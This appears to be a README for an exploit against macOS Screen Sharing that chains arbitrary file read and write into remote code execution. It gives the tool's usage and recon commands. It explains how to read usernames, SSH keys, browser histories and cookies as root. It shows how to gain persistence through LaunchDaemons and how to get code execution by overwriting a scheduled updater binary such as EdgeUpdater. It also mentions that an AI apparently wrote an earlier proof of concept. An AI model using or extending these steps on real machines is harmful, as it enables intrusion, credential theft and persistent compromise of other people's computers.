
Apple MacOS Screen Sharing Arbitrary File read/write -> RCE
For the first time in a while, we've got an RCE on MacOS.
Originally discovered by @osxreverser, and later expanded upon by bynar.io. See https://blog.calif.io/p/no-country-for-old-passwords for some more info.
This is mostly derived from work by @panchocosil (well, Claude...), who published a Read-only PoC. The repo by @HORKimhab seems to be a bit bullshit, especially that get-svn.sh looks like an attempt at a later supply chain attack.
Anyways, I was able to get write working and from that, RCE.
usage: exploit.py [-h] [-w LOCAL] [-m MODE] [-p PORT] [-u USER] [-r RETRIES] [-t TIMEOUT] [-o FILE] ip [path]
-o to write read file to a local file. Useful for binaries-w to write a local file to [path].Somewhat possible. On MacOS, running read on a directory (rather than file), dumps the raw contents of the directory (every file in it). So not being able to list files is not a problem.
So first a bit of recon. python3 exploit.py <ip_addr> /Library/Preferences/com.apple.loginwindow.plist gets you the username of the logged in users. Then, you can read /User/<username>/.ssh/ and hope that maybe ssh is enabled too (Usually when VNC is, SSH is as well).
Since the read is from root and ignores TCC (from what I understand), you can just straight up dump browser histories and (maybe?) cookies. Usually that's good enough.
In every case, you can write to /Library/LaunchDaemons/ and wait for a reboot. You've then got persistence. But of course, we're impatient, so there are better ways.
There will often be existing records you can overwrite, For example, /Library/PrivilegedHelperTools/com.microsoft.autoupdate.helper, us.zoom.ZoomDaemon, and com.microsoft.teams.TeamsUpdaterDaemon are commonly seen installed.
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>AbandonProcessGroup</key>
<true/>
<key>Label</key>
<string>com.microsoft.EdgeUpdater.wake.system</string>
<key>LimitLoadToSessionType</key>
<string>System</string>
<key>ProgramArguments</key>
<array>
<string>/Library/Application Support/Microsoft/EdgeUpdater/Current/EdgeUpdater.app/Contents/MacOS/EdgeUpdater</string>
<string>--wake-all</string>
<string>--enable-logging</string>
<string>--vmodule=*/components/update_client/*=2,*/chrome/updater/*=2</string>
<string>--system</string>
</array>
<key>StartInterval</key>
<integer>3600</integer>
</dict>
</plist>
Looking at this, we can see that the binary at /Library/Application Support/Microsoft/EdgeUpdater/Current/EdgeUpdater.app/Contents/MacOS/EdgeUpdater is run at a set interval.
We can then replace that binary and even without having to deal with launchctl, we've got RCE!
Fun stuff.